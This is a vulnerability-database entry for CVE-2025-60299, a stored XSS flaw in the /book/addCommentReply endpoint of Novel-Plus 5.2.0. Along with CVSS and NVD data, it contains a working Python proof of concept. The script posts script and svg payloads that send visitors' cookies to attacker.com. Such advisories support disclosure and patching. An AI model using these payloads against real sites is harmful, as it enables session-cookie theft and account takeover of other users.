Security Vulnerability Report
中文
CVE-2025-60299 CVSS 5.4 MEDIUM

CVE-2025-60299

Published: 2025-10-08 13:15:35
Last Modified: 2025-10-10 16:18:09

Description

Novel-Plus with 5.2.0 was discovered to contain a Stored Cross-Site Scripting (XSS) vulnerability via the /book/addCommentReply endpoint. An authenticated user can inject malicious JavaScript through the replyContent parameter when replying to a book comment. The payload is stored in the database and is executed in other users’ browsers when they view the affected comment thread.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xxyopen:novel-plus:5.2.0:*:*:*:*:*:*:* - VULNERABLE
Novel-Plus 5.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60299 - Novel-Plus Stored XSS PoC # Vulnerability: Stored XSS via /book/addCommentReply endpoint # Parameter: replyContent import requests TARGET_URL = "http://target-novel-plus.com" LOGIN_URL = f"{TARGET_URL}/login" REPLY_URL = f"{TARGET_URL}/book/addCommentReply" # Step 1: Login with valid credentials (low privilege user) session = requests.Session() login_data = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft malicious XSS payload # The payload will be stored in the database and executed # when other users view the comment thread xss_payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>' # Alternative payloads for different scenarios: # payload2 = '<img src=x onerror=alert(document.cookie)>' # payload3 = '<svg onload=fetch("http://attacker.com/log?data="+document.cookie)>' # Step 3: Submit the malicious reply via the vulnerable endpoint reply_data = { "bookId": "1", # Target book ID "commentId": "100", # Parent comment ID to reply to "replyContent": xss_payload # Malicious JavaScript payload } response = session.post(REPLY_URL, data=reply_data) if response.status_code == 200: print("[+] XSS payload successfully stored in the database") print("[+] When other users view this comment thread, the script will execute") else: print(f"[-] Failed to submit payload. Status code: {response.status_code}") # Step 4: Verification - fetch the comment page to confirm payload storage comment_page = session.get(f"{TARGET_URL}/book/bookDetail/1") if xss_payload in comment_page.text: print("[+] Payload confirmed stored - vulnerability is exploitable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60299", "sourceIdentifier": "[email protected]", "published": "2025-10-08T13:15:34.790", "lastModified": "2025-10-10T16:18:08.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Novel-Plus with 5.2.0 was discovered to contain a Stored Cross-Site Scripting (XSS) vulnerability via the /book/addCommentReply endpoint. An authenticated user can inject malicious JavaScript through the replyContent parameter when replying to a book comment. The payload is stored in the database and is executed in other users’ browsers when they view the affected comment thread."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xxyopen:novel-plus:5.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "8B463D89-2BCF-4A41-9AC7-D51AA815A420"}]}]}], "references": [{"url": "https://github.com/201206030/novel-plus", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://notes.sjtu.edu.cn/s/OtnFaGbI4", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://notes.sjtu.edu.cn/s/OtnFaGbI4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}